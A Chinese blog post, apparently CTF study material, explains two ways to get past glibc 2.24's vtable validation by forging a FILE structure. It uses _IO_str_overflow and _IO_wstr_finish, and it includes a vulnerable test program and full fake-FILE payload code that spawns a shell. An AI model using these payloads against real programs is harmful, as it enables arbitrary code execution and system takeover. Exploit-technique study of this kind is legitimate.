前言

前面几篇文章说道,glibc 2.24vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码。今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代码的文章,本文做个记录。

文中涉及的代码,libc, 二进制文件。

https://gitee.com/hac425/blog_data/blob/master/pwn_file/file_struct_part4.rar

正文

首先还是编译一个有调试符号的 glibc 来辅助分析。

源码下载链接

http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.24.tar.bz2

可以参考

http://blog.csdn.net/mycwq/article/details/38557997

新建一个目录用于存放编译文件,进入该文件夹(这里为glibc_224 ),执行 configure 配置

mkdir glibc_224
cd glibc_224/
../glibc-2.24/configure --prefix=/home/haclh/workplace/glibc_224 --disable-werror --enable-debug=yes

然后 make -j8 && make install, 即可在 /home/haclh/workplace/glibc_224 找到编译好的 libc

vtable 进行校验的函数是 IO_validate_vtable

就是保证 vtable 要在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间。

绕过的方法是在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间找到可以利用的东西,下面介绍两种。

前提:可以伪造 FILE 机构体

测试代码 ( 来源 )

/* gcc vuln.c -o vuln */

#include <stdio.h>
#include <unistd.h> char fake_file[0x200]; int main() {
FILE *fp;
puts("Leaking libc address of stdout:");
printf("%p\n", stdout); // Emulating libc leak
puts("Enter fake file structure");
read(0, fake_file, 0x200);
fp = (FILE *)&fake_file;
fclose(fp);
return 0;
}

首先 printf("%p\n", stdout) 用来泄露 libc 地址,然后使用 read 读入数据用来伪造 FILE 结构体, 最后调用 fclose(fp).

利用__IO_str_overflow

__IO_str_overflow_IO_str_jumps 的一个函数指针.

_IO_str_jumps 就位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间 所以我们是可以通过 IO_validate_vtable 的检测的。

具体怎么拿 shell 还得看看 __IO_str_overflow源代码, 这里我就用 ida 看了(清楚一些)

首先是对 fp->_flag 做了一些判断

fp->_flag 设为 0x0, 就不会进入。接下来的才是重点

可以看到 如果 设置

fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base

我们就能进入 (fp[1]._IO_read_ptr)(2 * size + 100), 回到汇编看看。

执行 call qword ptr [fp+0E0h]fp+0E0h 使我们控制的,于是可以控制 rip, 此时的参数为 2 * size + 100, 而 size = fp->_IO_buf_end - fp->_IO_buf_base 所以此次 call 的参数也是可以控制的。

利用思路就很简单了,设置 fp+0xe0system, 同时设置 fp->_IO_buf_end fp->_IO_buf_base, 使得 2 * size + 100/bin/sh 的地址, 执行 system("/bin/sh") 获取 shell

比如 fp->_IO_buf_base=0fp->_IO_buf_end=(sh-100)/2

fake_file += p64(0x0)   	 # buf_base
fake_file += p64((sh-100)/2) # buf_end

当执行 fclose 是会 调用 _IO_FINISH (fp)

其实就是 fp->vtable->__finish

#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)

执行 _IO_FINISH (fp) 之前还对 锁进行了获取, 所以我们需要设置 fp->_lock 的值为一个 指向 0x0 的值(*ptr=0x0000000000000000),所以最终的 file 结构体的内容为

fake_file = p64(0x0)  # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base fake_file += p64(0x0) # write_base
fake_file += p64(sh) # write_ptr - write_base > buf_end - buf_base, bypass check
fake_file += p64(0x0) # write_end fake_file += p64(0x0) # buf_base
fake_file += p64((sh-100)/2) # buf_end fake_file += "\x00" * (0x88 - len(fake_file)) # padding for _lock
fake_file += p64(0x00601273) # ptr-->0x0 , for bypass get lock # p _IO_str_jumps
fake_file += "\x00" * (0xd8 - len(fake_file)) # padding for vtable
fake_file += p64(_IO_jump_t + 0x8) # make __IO_str_overflow on __finish , which call by fclose fake_file += "\x00" * (0xe0 - len(fake_file)) # padding for vtable
fake_file += p64(system) # ((_IO_strfile *) fp)->_s._allocate_buffer

有一个小细节我把 vtable 设置为了 p64(_IO_jump_t + 0x8),原因在于 一个正常的 FILE 结构体的 vtable 的结构为

_finish 在第三个字段

__IO_str_overflow_IO_str_jumps 的第4个字段.

vtable 设置为 p64(_IO_jump_t + 0x8) 后, vtable->_finish__IO_str_overflow 的地址了。

在调用 fclose 处下个断点,断下来后打印第一个参数

可以看到

  • _flags 域 为 0
  • 2*(buf_end - buf_base) + 100 指向 /bin/sh
  • _lock 指向 0x0
  • 虚表的第三个表项(vtable->_finish)为 __IO_str_overflow 的地址
  • $rdi+0xe0system 的地址(rdi即为 fp)

这样在执行 fclose 时就会进入 __IO_str_overflow ,然后进入 call qword ptr [fp+0E0h] 执行 system("/bin/sh") 拿到 shell

利用 _IO_wstr_finish

_IO_wstr_finish 位于 _IO_wstr_jumps 里面

可以看到 _IO_wstr_jumps 也是位于 位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间的。

_IO_wstr_finishcheck 比较简单

fp->_wide_data->_IO_buf_base 不为0, 而且 v2->_flags2 就可以劫持 rip 了,看汇编代码会清晰不少

只需要在 fp+0xa0 处放置一个指针 ptr , 使得 ptr+0x30 处的 值不为 0 即可。(这个值随便找就行),然后 设置 fp+0x74 的值为 0, 最后设置 fp+0xe8 的值为 one_shot ,在执行 fclose()时就会去执行 one_shot 拿到 shell

伪造 file 结构体的代码

fake_file = p64(0x0)  # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base fake_file += p64(0x0) # write_base
fake_file += p64(sh) # write_ptr - write_base > buf_end - buf_base, bypass check
fake_file += p64(0x0) # write_end fake_file += p64(0x0) # buf_base
fake_file += p64((sh-100)/2) # buf_end fake_file += "\x00" * (0x88 - len(fake_file)) # padding for _lock fake_file += p64(0x00601273) # ptr-->0x0 , for bypass get lock fake_file += "\x00" * (0xa0 - len(fake_file))
fake_file += p64(0x601030) # _wide_data # p &_IO_wstr_jumps
fake_file += "\x00" * (0xd8 - len(fake_file)) # padding for vtable
fake_file += p64(_IO_wstr_jumps) fake_file += "\x00" * (0xe8 - len(fake_file)) # padding for vtable
fake_file += p64(one_shot) # rip

最后

ida看代码比较清楚,文中的两种方法挺不错,利用了其他的 vtable 中的有趣的函数来绕过 check

参考

https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

http://blog.rh0gue.com/2017-12-31-34c3ctf-300/

Pwn with File结构体(四)的更多相关文章

  1. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

  2. Pwn with File结构体(三)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...

  3. Pwn with File结构体(二)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 最新版的 libc 中会对 vtable 检查,所以之前的攻击方式 ...

  4. Pwn with File结构体之利用 vtable 进行 ROP

    前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...

  5. Linux_Struct file()结构体

    struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file {        /*         * f ...

  6. Linux--struct file结构体

    struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的  ...

  7. Linux--struct file结构体【转】

    本文转载自:https://www.cnblogs.com/hanxiaoyu/p/5677677.html struct file(file结构体): struct file结构体定义在includ ...

  8. 2018.5.2 file结构体

    f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...

  9. fd与FILE结构体

    文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...

随机推荐

  1. 【mNOIP模拟赛Day 1】 T2 数颜色

    题目传送门:https://www.luogu.org/problemnew/show/P3939 题外话:写完这题后本地跑了下极限数据,用时1.5s,于是马上用fread+fwrite优化至0.3s ...

  2. 平衡二叉树(AVL)的理解和实现(Java)

    AVL的定义 平衡二叉树:是一种特殊的二叉排序树,其中每一个节点的左子树和右子树的高度差至多等于1.从平衡二叉树的名字中可以看出来,它是一种高度平衡的二叉排序树.那么什么叫做高度平衡呢?意思就是要么它 ...

  3. Flowable BPMN 简单使用

    1.Flowable是什么? Flowable是一个使用Java编写的轻量级业务流程引擎.Flowable流程引擎可用于部署BPMN 2.0流程定义(用于定义流程的行业XML标准), 创建这些流程定义 ...

  4. 用Lingo求解线性规划问题

    第一步:输入目标条件和约束条件.每行以分号隔开.然后点击工具栏上的Solve按钮,或Lingo菜单下的Solve子菜单. 第二步:检查report中的结果. 默认情况下,Lingo不进行灵敏度分析. ...

  5. (转)Python标准库:内置函数print(*objects, sep=' ', end='\n', file=sys.stdout, flush=False)

    原文:https://blog.csdn.net/caimouse/article/details/44133241 https://www.cnblogs.com/owasp/p/5372476.h ...

  6. Opserver 初探一《Opserver的搭建》

    Opserver 是Stack Overflow的开源监控产品.stackoverflow网站是基于asp.net开发的,具体采用的软硬件配置可以查看<StackOverflow 这么大,究竟用 ...

  7. RabbitMQ初学之二:直接发送消息到队列

    一. 背景 总前提:队列无论是在生产者声明还是在消费者声明,只有声明了,才能在RabbitMQ的管理界面看到该队列 生产者直接发送消息到队列,消费者直接消费队列中的消息,而不用指定exchange并绑 ...

  8. python处理自然语言:1、调用LTP的API,2、使用pyltp

    最近在学习处理自然语言处理,就发现LTP的(哈工大语言云),这个比我最先使用的jieba分词更好,词库更大,功能也更强大. 这里介绍两种方法:1.调用LTP的API,2.使用pyltp,这里的方法基于 ...

  9. mybatis的小问题记录

    mybatis的小问题记录 问题描述:mybaitis中的if判断字符串的时候错误写法如下(刚开始没发现): <if test="placeType='2'"> sql ...

  10. 【数组】Sort Colors

    题目: Given an array with n objects colored red, white or blue, sort them so that objects of the same ...